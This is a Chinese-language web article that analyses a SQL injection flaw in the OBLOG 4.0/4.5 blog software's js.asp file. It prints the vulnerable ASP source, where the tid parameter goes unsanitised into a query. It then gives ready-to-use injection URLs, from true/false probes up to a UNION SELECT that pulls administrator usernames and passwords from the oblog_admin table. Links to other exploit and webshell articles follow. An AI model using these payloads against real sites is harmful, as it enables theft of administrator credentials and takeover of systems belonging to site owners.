OBLOG4.0 OBLOG4.5漏洞利用分析

所属分类: 网络编程 / 黑客相关 阅读数: 1860
收藏 0 赞 0 分享
来源:Deepen Study

漏洞文件:js.asp
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request(”n”))
if n=0 then n=1
select case CInt(Request(”j”))
case 1
call tongji()
case 2
call topuser()
case 3
call adduser()
case 4
call listclass()
case 5
call showusertype()
case 6
call listbestblog()
case 7
call showlogin()
case 8
call showplace()
case 9
call showphoto()
case 10
call showblogstars()
Case 11
Call show_hotblog()
Case 12
Call show_teams()
Case 13
Call show_posts()
Case 14
Call show_hottag()
case 0
call showlog()
end select
****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request(”tid”)
postnum=n
l=CInt(Request(”l”))
u=CInt(Request(”u”))
t=CInt(Request(”t”))
Dim rs,sql,sRet,sAddon
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If
Sql=Sql & ” order by postid Desc”
Set rs=oblog.Execute(Sql)
sRet=”

 ”
 Do While Not rs.Eof
 sAddon=”"
 * sRet=sRet & “ ” & oblog.Filt_html(Left(rs(2),l)) & “”
 If u=1 Then sAddon=rs(4)
 if t=1 Then
 If sAddon<>“” Then sAddon=sAddon & “,”
 sAddon=sAddon & rs(3)
 End If
 If sAddon<>“” Then sAddon=”(” & sAddon & “)”
 sRet=sRet & sAddon & “

 ”
 rs.Movenext
 Loop
 Set rs = Nothing
 sRet=sRet & “


Response.write oblog.htm2js (sRet,True)
End Sub
调用show_posts()过程必须要符合上面的参数n=1,j=13
(” & teamid & “)
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常
猜管理员表名
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1

Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1

document.write('

*

‘);

gid=1跟pid=2里的1,2就是了 直接替换里面的1,2为username,password

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select username,password,3,4,5,6 from oblog_admin where id=(1 
更多精彩内容其他人还在看

黑客入侵Windows XP系统常用七大招数

黑客入侵Windows XP系统常用七大招数
收藏 0 赞 0 分享

风讯4.0未公开Bug

风讯4.0未公开Bug
收藏 0 赞 0 分享

Discuz! 4.x SQL injection / admin credentials disclosure exploit

Discuz! 4.x SQL injection / admin credentials disclosure exploit
收藏 0 赞 0 分享

discuz许愿池插件远程包含漏洞

discuz许愿池插件远程包含漏洞
收藏 0 赞 0 分享

防止电脑被他人控制

防止电脑被他人控制
收藏 0 赞 0 分享

最详细的SQL注入相关的命令整理 (转)第1/2页

这篇文章主要为打击分享下一些常用SQL注入相关的命令,今天帮客户做安装的时候发现他的网站有很多漏洞,导致注入数据库也被清空了,希望大家多关于安全
收藏 0 赞 0 分享

渗透中用openrowset搞shell的方法

渗透中用openrowset搞shell的方法
收藏 0 赞 0 分享

当网站不允许上传asp cer cdx htr文件时的一个解决方法!

当网站不允许上传asp cer cdx htr文件时的一个解决方法!
收藏 0 赞 0 分享

PHPSHELL又出新东东啦!

PHPSHELL又出新东东啦!
收藏 0 赞 0 分享

全面了解ASP注入方法 [收集总结]

全面了解ASP注入方法 [收集总结]
收藏 0 赞 0 分享
查看更多